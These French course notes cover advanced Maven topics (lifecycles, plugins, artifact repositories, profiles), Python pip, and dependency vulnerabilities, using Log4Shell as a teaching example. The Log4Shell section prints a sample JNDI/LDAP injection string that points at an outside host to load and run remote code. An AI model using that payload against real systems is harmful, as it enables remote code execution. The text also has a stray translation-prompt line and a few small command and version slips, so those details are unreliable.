Aller au contenu

Systèmes de construction (suite)

Dans cette unité, nous aborderons les fonctionnalités avancées du système de construction Maven, plongerons dans les détails du cycle de vie de la construction, et apprendrons quelques bonnes pratiques pour éviter les vulnérabilités logicielles.

Résumé de la leçon

Les systèmes de construction peuvent faire bien plus que simplement collecter des dépendances. En coulisses, il existe un cycle de vie puissant qui vous permet de remplacer le comportement par défaut à n'importe quelle étape du processus de construction avec l'aide de plugins.

Récapitulatif de Maven et contexte

Comme vu dans la première leçon sur les systèmes de construction, Maven a deux objectifs principaux :

  • Gestion déclarative des dépendances : Une description textuelle des dépendances, plus le téléchargement automatisé, est préférable aux téléchargements manuels de fichiers JAR et à la manipulation du classpath, surtout pour les projets de grande envergure.
  • Remplacement du processus de construction basé sur des plugins : Des normes de code avancées et des vérifications automatisées sont un moyen efficace de garantir la qualité du code, la stabilité du logiciel et des versions rapides.

Réutilisez votre fichier pom.xml

Créez une configuration Maven stricte une fois (checkstyle, javadoc, tests, linting, etc. activés), et utilisez-la systématiquement pour tous vos projets. Il vous suffit de copier-coller le fichier pom.xml pour garantir de bonnes normes de codage.

Algorithme de résolution des dépendances

Récapitulatif des trois étapes de Maven lorsqu'il cherche une dépendance :

  1. Recherche dans le dépôt local.
  2. Recherche dans les dépôts tiers, si configurés.
  3. Recherche dans le dépôt officiel Maven en ligne.

Rappel : Chaque fois qu'une dépendance est trouvée dans un dépôt tiers ou officiel, Maven en cache une copie dans le dépôt local.

Plugins

Les plugins Maven sont des personnalisations du processus de construction.

  • Les plugins remplacent ou modifient les détails de la manière dont le logiciel est construit.
  • Les plugins peuvent modifier le processus de construction à différentes étapes (par exemple, Checkstyle intervient avant Javadoc).
  • Les plugins doivent être déclarés activement dans le fichier pom.xml.

Jusqu'à présent, vous avez vu les plugins suivants :

  • Checkstyle : Applique un formatage de code standardisé (et les limites de la complexité cyclomatique).
  • JavaDoc : Applique une documentation complète des méthodes et des classes.
  • PMD : Outil de linting qui applique l'absence de code vulnérable.
  • Surfire : Configuration avancée pour l'exécution des tests.
  • Exec : Configure les informations de lancement pour l'exécution directe des classes compilées.
  • Jar : Configure la construction du fichier JAR cible, par exemple en incluant des informations de lancement dans le MANIFEST.

Contexte au-delà de Maven

Maven n'est qu'un exemple d'outil de système de construction.

  • D'autres systèmes de construction pour Java existent, par exemple Gradle.
  • Presque tous les langages ont leurs outils pour assurer au moins une gestion correcte des dépendances. Les composants communs à tous ces systèmes sont :
    • Un fichier de configuration local pour indiquer explicitement les dépendances.
    • Un dépôt central pour obtenir les artefacts.
    • Un cache local pour stocker les dépendances résolues avec succès.

Pour compléter l'image, nous allons maintenant examiner deux exemples au-delà de Maven.

Gradle

Gradle est une alternative à Maven, et présente quelques différences conceptuelles mineures :

  • Gradle prend également en charge d'autres langages de programmation, comme Kotlin et Swift.
  • Gradle fait un meilleur travail de parallélisation des phases de construction indépendantes, et pour les projets plus importants, il est nettement plus rapide.

Les performances de construction ne sont presque jamais un critère de réussite

Les principaux arguments en faveur de Gradle sont généralement de meilleures performances et une syntaxe de configuration plus légère. D'après mon expérience, aucun de ces éléments n'est pertinent pour le succès d'un projet, pour la grande majorité des projets. Personnellement, j'ai trouvé la communauté Maven plus supportive, et les exemples de configuration plus accessibles. Cependant, les deux sont des systèmes de construction établis et, au final, fournissent la même chose : un support pour un processus de construction fiable, favorisant un code maintenable et des versions logicielles stables. Utilisez celui que vous préférez.

Mis à part les différences conceptuelles mineures, il existe plusieurs différences dans l'utilisation concrète :

  • Pour Gradle, il n'y a pas de pom.xml, mais un fichier build.gradle.
  • La configuration de Gradle se fait via un dialogue pour créer une configuration quelque peu adaptée.
    (Note : bien sûr, gradle doit être installé sur votre système)
     $ gradle init
     Starting a Gradle Daemon (subsequent builds will be faster)
    
     Select type of build to generate:
       1: Application
       2: Library
       3: Gradle plugin
       4: Basic (build structure only)
     Enter selection (default: Application) [1..4] 1
     ...
    

Python PIP

  • La gestion des dépendances ne se limite pas à Java.
  • D'autres langages de programmation offrent également un concept pour intégrer des bibliothèques via une déclaration, plutôt que de copier manuellement des fichiers.
  • Pour Python, un fichier requirements.txt peut être utilisé pour déclarer l'identifiant et la version des artefacts :
    • Remarque : Dans le contexte Python, les "artefacts" sont appelés "packages" (à ne pas confondre avec les packages Java).
    • Exemple de requirements.txt :
      mkdocs-material==9.5.31
      mkdocs-material-extensions==1.3.1
      mkdocs-mermaid2-plugin==1.1.1
      
  • L'installateur de packages Python pip consomme le fichier requirements.txt et installe les packages :
    • Commande : pip install requirements.txt
    • Différence principale : les dépendances sont installées système globalement, et plusieurs versions ne sont pas supportées.

PIP vs Maven

PIP remplace les packages en conflit lors de l'installation, tandis que Maven conserve les deux versions. L'installation des dépendances Python à partir d'un fichier requirements.txt pour satisfaire les dépendances d'un programme peut casser les dépendances d'un autre programme. Cela ne peut jamais arriver avec Maven.

Environnements virtuels Python

Pour contourner le problème des versions de packages en conflit, Python a introduit le concept de environnements virtuels.

  • Les environnements virtuels sont un répertoire caché spécifique au projet, pour stocker les dépendances :
    • Les environnements virtuels ne peuvent pas entrer en conflit avec d'autres projets sur le disque.
    • Les environnements virtuels ne sont pas partagés via le VTS.
  • Un inconvénient des environnements virtuels est que les projets avec des dépendances identiques gaspillent de l'espace, car la même dépendance est téléchargée et mise en cache plusieurs fois.

Commandes de gestion des dépendances de base en Python :

But Commande
Initialiser un nouvel environnement virtuel python3 -m venv .env
Activer l'environnement virtuel source .env/bin/activate
Installer des dépendances dans un environnement virtuel pip install numpy
Installer un ensemble de dépendances dans un environnement virtuel pip install -r requirements.txt
Exporter les dépendances actuelles dans un fichier requirements.txt pip freeze > requirements.txt
Désactiver un environnement virtuel actif deactivate

Cycles de vie et phases

  • Maven propose trois cycles de vie intégrés. Chaque cycle de vie sert un macro-intérêt lié à la construction :
    • clean - supprimer tout ce qui a été généré
    • build - créer un nouvel artefact, basé sur les sources
    • site - envoyer un artefact précédemment construit vers un serveur
      (celui-ci ne doit pas être confondu avec les serveurs Git, l'intérêt de site est de partager un exécutable ou autre résultat de construction, et non le code source !)
  • Chaque cycle de vie apporte son propre ensemble de phases.
    • Les phases sont ordonnées (il existe une séquence claire de phases)
    • Les phases sont fixes (aucune nouvelle phase ne peut être ajoutée)

Cycles de vie

Maven n'a que trois cycles de vie intégrés : clean, build et site.

Clean

Le cycle de vie "clean" est le cycle de vie le plus simple, il n'a qu'une seule phase :

  1. Phase clean : Supprimer le dossier target.

Remarque : "clean" est un peu ambigu, car la seule phase du cycle de vie porte également le nom de clean.

Default

Le cycle de vie "default" est celui qui nous intéresse le plus pour la construction de logiciels :

  1. Phase validate : Vérifier la structure du projet et la disponibilité des métadonnées
  2. Phase compile : Compiler le code source
  3. Phase test : Exécuter les tests unitaires
  4. Phase package : Emballer les fichiers compilés dans un format distribuable (par exemple, un fichier JAR)
  5. Phase verify : Exécuter les tests d'intégration
  6. Phase install : Installer l'artefact généré dans le dépôt local (dossier .m2)
  7. Phase deploy : Envoyer l'artefact généré vers un dépôt distant, si configuré.
Quel est l'intérêt de clean ?

Les artefacts des compilations précédentes ne sont pas nécessairement supprimés par les compilations suivantes, surtout lorsque les compilations n’invoquent pas des phases équivalentes. Exemple : Si vous faites d’abord un package, puis un compile, les fichiers jar créés exclusivement par la compilation précédente restent et peuvent ne pas refléter le même état du programme. Un clean supplémentaire lors de la deuxième compilation garantit que tous les artefacts de compilation proviennent du processus de compilation le plus récent.

Site

Le cycle de vie site permet d'envoyer automatiquement un site Web du projet généré vers un serveur.

  1. Phase site : Générer la documentation
  2. Phase site-deploy : Envoyer la documentation vers le serveur

Le cycle de vie site n'a pas de pertinence pour ce cours, car nous utiliserons une autre technique pour générer du contenu de site web.

Invocation des phases

Faites attention à la différence entre cycles de vie et phases :

  • Les commandes Maven spécifient toujours des phases.
  • Pour chaque phase fournie, le cycle de vie correspondant est exécuté jusqu'à cette phase.

Exemple : mvn clean package exécute toutes les phases suivantes, dans cet ordre :

  1. clean
  2. validate
  3. compile
  4. test
  5. package
Pourquoi ne pas appeler mvn package clean ?

Bien que valide, l'ordre des phases résultant serait : 1. validate 2. compile 3. test 4. package 5. clean
La dernière phase supprimerait (presque) tous les efforts précédents, car le fichier jar généré serait immédiatement supprimé. Ce n'est probablement pas ce que vous voulez.

Plugins

  • Les plugins sont toujours liés à une phase spécifique du cycle de vie.
  • En ce qui concerne la liste des plugins vus jusqu'à présent, la correspondance est :
Plugin Phase
Checkstyle verify
JUnit Surfire test
Jar package
Javadoc package
  • Chaque fois que vous ajoutez un nouveau plugin, assurez-vous que la phase associée soit également exécutée ! Sinon, votre plugin n'aura absolument aucun effet.
Pourquoi mvn clean compile ne génère-t-il pas de JavaDoc ?

Le plugin javadoc est associé à la phase package. clean ne fait que supprimer le dossier target et compile n'exécute que les phases par défaut du cycle de vie validate + compile. La phase associée au plugin, package, n'est jamais exécutée, donc le JavaDoc n'est pas généré.

Gestion avancée des artefacts

Dans cette section, nous examinerons plusieurs stratégies avancées pour obtenir des artefacts qui ne sont pas pris en charge par les serveurs Maven officiels.

  • Le cas d'utilisation courant est celui où vous souhaitez utiliser du code existant comme bibliothèque, c'est-à-dire comme artefact réutilisable dans d'autres projets.
    • Exemple : Vous avez peut-être implémenté une petite fonctionnalité de Tic-Tac-Toe, mais vous souhaitez expérimenter avec différentes interfaces utilisateur, tout en réutilisant la même fonctionnalité de contrôleur et de modèle.
  • Vous ne souhaitez pas copier-coller le code source dans tous les projets de test, car du code dupliqué est difficile à maintenir.

Installation de bibliothèques locales

La première option est de créer manuellement un artefact dans votre dossier local .m2.

  • Comme vous vous en souvenez, Maven recherche toujours d'abord dans votre dossier local .m2.
  • Si un artefact n'est pas pris en charge par les serveurs Maven officiels, nous pouvons néanmoins injecter l'artefact requis manuellement.
  • Si l'artefact en question est lui-même un artefact Maven, il suffit d'appeler la phase package.

Exemple :

  • Nous pouvons cloner le code source du contrôleur et du modèle de TicTacToe.
  • C'est un projet Maven, donc nous pouvons appeler mvn clean install.
  • Le projet est compilé, crée un JAR, et la phase install stocke également le JAR comme artefact indexé dans notre répertoire local .m2 :

    $ cd ~/.m2/repository/
    $ tree ca
    ca
      └── uqam
          └── xoxinternals
              ├── 1.6
                 ├── _remote.repositories
                 ├── xoxinternals-1.6-javadoc.jar
                 ├── xoxinternals-1.6-sources.jar
                 ├── xoxinternals-1.6.jar
                 └── xoxinternals-1.6.pom
              └── maven-metadata-local.xml
    

  • Nous pouvons maintenant utiliser la fonctionnalité existante de TicTacToe dans tous nos projets de test, en codant simplement une déclaration de dépendance :

      <dependency>
          <groupId>ca.uqam</groupId>
          <artifactId>xoxinternals</artifactId>
          <version>1.7</version>
      </dependency>
    

Installation d'artefacts depuis des fichiers JAR

  • La stratégie précédente est soumise à la condition que votre dépendance soit elle-même un projet Maven (sinon, vous ne pouvez pas appeler mvn clean install).
  • Cependant, il existe de nombreux projets de bibliothèques Java qui ne dépendent pas de Maven.
  • Heureusement, il existe toujours une solution pour injecter directement n'importe quel fichier JAR dans le dépôt local, en utilisant la ligne de commande Maven :
  • Exemple :
    • Étant donné le fichier JAR : xoxinternals.jar (nous supposons ici que xoxinternals n'est pas un projet Maven et que nous avons simplement obtenu le fichier jar)
    • Nous pouvons installer ce fichier JAR dans un artefact personnalisé de notre dépôt local .m2 avec :
      mvn install:install-file -Dfile=xoxinternals.jar -DgroupId=eu.kartoffelquadrat -DartifactId=xoxinternals -Dversion=1.6 -Dpackaging=jar -DcreateChecksum=true
      
    • Cela donne la même entrée dans le dépôt local .m2 :
      $ cd ~/.m2/repository/
      $ tree eu
      eu
        └── kartoffelquadrat
        └── xoxinternals
        ├── 1.6
           ├── _remote.repositories
           ├── xoxinternals-1.6-javadoc.jar
           ├── xoxinternals-1.6-sources.jar
           ├── xoxinternals-1.6.jar
           └── xoxinternals-1.6.pom
        └── maven-metadata-local.xml
      

Dépôts tiers

  • Préparer un artefact local avec mvn clean package ou l'installer manuellement est une solution viable uniquement pour le développement sur une seule machine.
    • Les autres développeurs n'ont aucun avantage à ce que vous ayez ajouté manuellement un artefact à votre dépôt local.
  • Les dépôts en ligne permettent de partager des artefacts (pas le code source !) avec d'autres développeurs.
    • Le dépôt Maven officiel a certaines limitations :
      • Tout est public
      • Rien n'est révoqué
      • La soumission est un peu compliquée (nécessite une preuve de possession de domaine, la signature numérique du code source avec une clé PGP)

        Le dépôt officiel est destiné aux versions bien testées et à long terme, pas pour les versions beta ou pour partager rapidement des artefacts au sein d'une équipe.

    • Une alternative consiste à utiliser des dépôts tiers.
      • Un accès restreint est possible
      • Vous avez un contrôle total sur le contenu (tout peut être révoqué)
      • La soumission est aussi simple que de déployer un fichier sur un serveur

Exemple de dépôt tiers

  • La librairie "bookstore" est une bibliothèque personnalisée, non disponible sur les serveurs Maven officiels.
  • En plaçant une copie d'un dépôt local (qui a la librairie bookstore installée) sur un serveur de fichiers, nous obtenons un dépôt Maven tiers :

<project>
  ...
  <repositories>
      <repository>
          <id>Max's third party repo on a UQAM GitLab file server</id>
          <url>https://max.pages.info.uqam.ca/inf2050repo/</url>
      </repository>
  </repositories>
  <dependencies>
    <dependency>
      <groupId>ca.mcgill</groupId>
      <artifactId>bookstore</artifactId>
      <version>1.0.0</version>
    </dependency>
  </dependencies>
</project>
* Contenu du serveur de fichiers :
  mschie3@teach-node-01:~/public_html/comp361repo$ tree
  .
  └── ca
      └── mcgill
          └── bookstore
              ├── 1.0.0
                 ├── bookstore-1.0.0.jar
                 ├── bookstore-1.0.0.jar.md5
                 ├── bookstore-1.0.0.jar.sha1
                 ├── bookstore-1.0.0.pom
                 ├── bookstore-1.0.0.pom.md5
                 ├── bookstore-1.0.0.pom.sha1
                 └── _remote.repositories
              ├── maven-metadata-local.xml
              ├── maven-metadata-local.xml.md5
              └── maven-metadata-local.xml.sha1

  4 directories, 10 files

Gestion des vulnérabilités

  • Les bibliothèques publiques sont plus intéressantes pour les adversaires que votre code :
    • Une menace de sécurité dans votre code ne vous affecte que vous, tandis qu'une menace de sécurité dans une bibliothèque affecte tous les utilisateurs de cette bibliothèque.
    • Chaque jour, des menaces de sécurité exploitables sont découvertes dans des bibliothèques publiques.
      • Certaines sont rapportées (discrètement), afin que le développeur de la bibliothèque puisse les corriger.
      • D'autres sont silencieusement vendues à celui qui paie le plus.
  • Qu'est-ce que cela signifie pour vous ?
    • À moins que vous ne développiez une application très en vue, il est peu probable que quelqu'un tente de vous pirater.
    • Mais chaque bibliothèque que vous utilisez est une menace potentielle de sécurité.
  • Que pouvez-vous faire à ce sujet ?
    • Soyez très sélectif avec les bibliothèques. Si vous n'avez vraiment pas besoin d'une bibliothèque, mieux vaut ne pas l'inclure dans votre projet.
    • Assurez-vous au moins de ne pas utiliser une version de bibliothèque avec des vulnérabilités connues.

Log4Shell

L'une des vulnérabilités les plus catastrophiques découvertes ces dernières années est Log4Shell.

  • Découverte en décembre 2021.
  • Quelques jours plus tard, des millions de tentatives d'exploitation à travers le monde.

Pourquoi était-ce si grave ?

  • Apache Log4j 2 est une bibliothèque extrêmement utile, et donc extrêmement répandue.
  • Souvent incluse dans des projets en tant que dépendance transitive, les développeurs n'étaient même pas pleinement conscients qu'ils utilisaient Apache Log4j 2.

Quel était le problème ?

  • Log4J est une bibliothèque de journalisation.
  • La journalisation est préférable à System.out.println pour diverses raisons :
    • System.out.println est une commande bloquante, qui peut ralentir l'exécution du programme. La journalisation se fait dans un thread en arrière-plan.
    • System.out.println écrit dans la console et ne survit pas aux plantages du serveur. La journalisation peut être stockée dans une base de données / persistée.
    • Un grand nombre de System.out.println peut dépasser les tampons, et certains messages peuvent être perdus. La journalisation peut gérer un grand volume.
    • System.out.println est difficile à filtrer des autres sorties, comme les erreurs. La journalisation offre des niveaux de filtrage faciles à appliquer.
  • Il est difficile de trouver un système d'entreprise sans journalisation. Dans les projets Java, Log4J est l'une des bibliothèques de journalisation les plus répandues.

Tout a commencé avec une fonctionnalité niche de Log4J :

  • Parfois, vous ne voulez pas simplement enregistrer une chaîne telle quelle, mais y ajouter des informations supplémentaires.
  • Ces informations pourraient être générées par une autre classe.
  • Exemple :
    • Au lieu de simplement enregistrer "C'est une belle journée aujourd'hui.", vous voulez également afficher la date actuelle dans le journal.
    • Vous pourriez avoir une classe personnalisée DateProvider.java avec une méthode getDateString.
      Mer 13 Nov 2024
      05:36:01 EST
      C'est une belle journée aujourd'hui.
      
    • Vous pouvez fournir la localisation d'un fichier de classe comme partie d'une chaîne de message, pour appeler automatiquement la méthode dans votre commande de journalisation.
    • Log4J offre une syntaxe spéciale pour cela :
      "C'est une belle journée aujourd'hui. ${path/to/java/class}"
      
  • Cependant, en tant que fonctionnalité pour plus de flexibilité, la localisation du fichier Java n'était pas limitée aux fichiers locaux, mais pouvait aussi être un fichier distant.
    • Il existe des services et des protocoles permettant de référencer un fichier Java quelque part sur Internet, au lieu d'un fichier local.
    • Par exemple, écrire ${jndi:ldap://127.0.0.1/path/to/java/class} aurait exécuté le code récupéré depuis la classe accessible via le protocole réseau.
    • Dans le meilleur des cas, cela correspond à ce que vous voulez : vous, en tant que développeur, placez le fichier Java quelque part sur un serveur, pour "améliorer" votre propre journalisation.

Que pourrait-il se passer de mal ?

  • Il n'y a aucun problème si le sous-ensemble ${...} a été ajouté au contenu à enregistrer côté serveur.
  • Mais jusqu'à la version Log4J2 2.15.0, RIEN n'empêchait que le contenu affiche déjà la syntaxe ${...}.
  • Exemple :
    • Un serveur web d'hôpital enregistre toutes les tentatives de connexion avec Log4J2.
    • Plus précisément, il y a un formulaire de connexion pour les patients, avec des champs pour le nom d'utilisateur et le mot de passe.
    • La plupart des utilisateurs écriront simplement leur nom d'utilisateur et leur mot de passe pour se connecter légitimement.
    • Mais que se passe-t-il si un client fournit le nom d'utilisateur "${jndi:ldap://12.55.23.64/path/to/malicious/class}" ?
    • ... alors le serveur télécharge la classe depuis le serveur spécifié et exécute le code.

Exécution de code à distance

Quelle est la gravité ?

  • Dans le meilleur des cas : le code injecté ne fait rien.
  • Dans le cas moyen : le code injecté réduit les performances du serveur.
  • Dans le pire des cas : le code injecté compromet votre serveur.

Voici quelques exemples :

  1. Un attaquant lit les données privées du serveur.
  2. Il mine des cryptomonnaies avec les ressources du serveur (le fournisseur de serveur paye la facture d'électricité).
  3. Il compromet l'intégrité du serveur (par exemple, il modifie le solde bancaire, change le groupe sanguin d'un patient, etc.).
  4. Il installe un ransomware, c'est-à-dire qu'il crypte les données et demande une rançon pour les récupérer.

Exécution de code à distance

Les vulnérabilités permettant l'exécution de code à distance (RCE) sont les pires ! Elles signifient que n'importe qui peut amener votre serveur à exécuter un code non vérifié. Atténuez tout risque de RCE à tout prix !

Scanners de vulnérabilité

Le chemin doré vers une utilisation responsable des bibliothèques repose sur un compromis :

  • Trop de bibliothèques : des dépendances dont vous n'avez pas besoin. Risque inutile de vulnérabilités.
  • Trop peu de bibliothèques : réimplémentation de ce qui existe déjà. Réinventer la roue, ce qui peut introduire des erreurs de programmation.

Les projets d'une certaine envergure ne peuvent guère se passer de dépendances. Alors, que faire ?

Utilisez un scanner de vulnérabilité

L'un des grands avantages des systèmes de construction est l'existence de descriptions de dépendances explicites sous forme textuelle. Rien qu'en lisant un fichier pom.xml, vous savez exactement quelles bibliothèques et quelles versions spécifiques vous utilisez. Cette information peut être automatiquement analysée par un scanner de vulnérabilité, pour vous alerter des risques potentiels.

Vérificateur de packages

  • Package checker est un scanner de vulnérabilités local.
  • Il est installé par défaut dans IntelliJ.
  • Lors de la consultation d'un fichier pom.xml, les dépendances vulnérables sont surlignées.
  • En survolant un bloc de dépendance, un pop-up d'informations apparaît, incluant un lien vers le rapport CVE.

Dependabot

  • Un inconvénient des scans locaux, comme celui du package checker, est qu'ils peuvent facilement être ignorés ou négligés.
  • Une approche plus sophistiquée consiste à utiliser des scanners qui accèdent directement au dépôt git en ligne.
  • Exemple : Dependabot est un service qui scanne régulièrement tous les fichiers pom.xml sur GitHub (pour les projets publics) et propose une pull request avec une version mise à jour.
    • La précision est élevée. Les fichiers pom.xml sont précis et dependabot dispose d'une liste de toutes les vulnérabilités connues.
    • L'effort pour corriger est minimal. Accepter une pull request ne prend que quelques clics.
    • Dependabot est persistant. Vous recevrez des e-mails jusqu'à ce que vous corrigiez votre liste de bugs.
  • Cependant, il est possible d'ignorer les avertissements de dependabot, par exemple pour notre petit projet TicTacToe.

Note : Vous avez remarqué quelque chose ? La version 4.11 de junit est en réalité vulnérable. Pour votre soumission finale TP3 Halma, je vais effectuer des scans de vulnérabilités. Vous feriez bien de mettre à jour vos dépendances ! ;)

Une alternative est Renovatebot, qui fonctionne de manière similaire, mais fait un meilleur travail pour regrouper les mises à jour de versions, ce qui donne moins de pull requests.

Profils

  • Souvent, vous ne voulez pas une seule version de votre logiciel, mais une palette de versions.
  • Exemple : Vous développez un jeu de Halma et il devrait y avoir deux versions :
    • Une version gratuite qui est jouable mais qui ne supporte que des IA primitives.
    • Une version premium qui présente des IA plus avancées.
  • Vous ne voulez pas maintenir deux projets distincts, mais plutôt décider quelle version construire en activant ou désactivant un simple paramètre.
  • C'est un cas d'usage typique des profils de construction de Maven.

Syntaxe des profils

  • Les profils de construction sont simplement des sections de votre fichier pom.xml qui sont conditionnelles.
    • Si le profil de construction entourant n'est pas activé, c'est comme si les lignes n'étaient pas là.
    • Vous pouvez définir un profil par défaut, et autant de profils de secours que vous le souhaitez.
  • Toutes les autres lignes de pom.xml s'appliquent à tous les profils.

La syntaxe générale de pom.xml pour les profils de construction est la suivante :

<project>
    ...

    <dependencies>
        ... dependencies shared by both build profiles here.
    </dependencies>

    <profiles>
        <!--Default build profile-->
        <profile>
            <id>default-profile</id>
            <activation>
                <activeByDefault>true</activeByDefault>
            </activation>
            ... build profile specific pom.xml content here.
        </profile>

        <!--Some alternative build profile-->
        <profile>
            <id>some-other-profile</id>
            ... build profile specific pom.xml content here.
        </profile>
    </profiles>
</project>

Utilisation de la ligne de commande

  • Tant qu'aucun profil spécifique n'est demandé pour le processus de construction, Maven construira toujours celui marqué activeByDefault - true.
  • Pour demander spécifiquement la construction en utilisant un profil non par défaut, utilisez le commutateur -P ( sans** espace avant le nom du profil) :
 mvn clean compile exec:java -Ppremium-version

Here is the translation of the provided content into Canadian French:

Cas d'utilisation plus avancés

Profils de construction pour sélectionner...

  • l'emplacement du serveur de base de données ou le type de connexion.
  • le niveau de journalisation, de tout à silencieux.
  • basculer entre l'environnement de test et de production.
  • la plateforme exécutable cible (.exe pour Windows, .dmg pour macOS, etc, ...)
  • ...

Perspectives : Intégration continue

Jusqu'à présent, nous avons toujours utilisé Maven localement pour garantir la qualité du code avant de commettre. Malheureusement, cela n'impose pas encore la qualité du code. Un développeur peut toujours, intentionnellement ou par erreur, apporter des modifications critiques au code et les pousser vers le serveur, ce qui peut causer beaucoup de dégâts et de régressions. C'est là qu'intervient l'Intégration Continue (ou CI pour faire court) :

Définition de CI par Amazon

"L'intégration continue est une pratique de développement logiciel où les développeurs fusionnent régulièrement leurs modifications de code dans un référentiel central, après quoi des constructions et des tests automatisés sont exécutés. [...] Les objectifs clés de l'intégration continue sont de trouver et de résoudre les bugs plus rapidement, d'améliorer la qualité du logiciel et de réduire le temps nécessaire pour valider et publier de nouvelles mises à jour logicielles."

Qu'est-ce que cela signifie réellement ? CI est une bonne pratique qui maximise tous les éléments suivants :

  • Fusion fréquente (git)
  • Référentiel central (serveur gitlab)
  • Construction automatisée (maven)
  • Tests automatisés (tests maven)
  • Amélioration de la qualité du logiciel (plugins maven)

Dans la plupart des cas, cela revient à combiner les meilleures pratiques de gestion de versions et de systèmes de construction, et à les appliquer rigoureusement. Dans le cas le plus simple, cela signifie que le processus de construction de Maven n'est pas seulement invoqué localement, mais aussi côté serveur, à chaque nouveau commit.
La semaine prochaine, nous explorerons comment faire cela avec GitHub Actions / GitLab Runners.

Littérature

Inspiration et lectures supplémentaires pour les esprits curieux :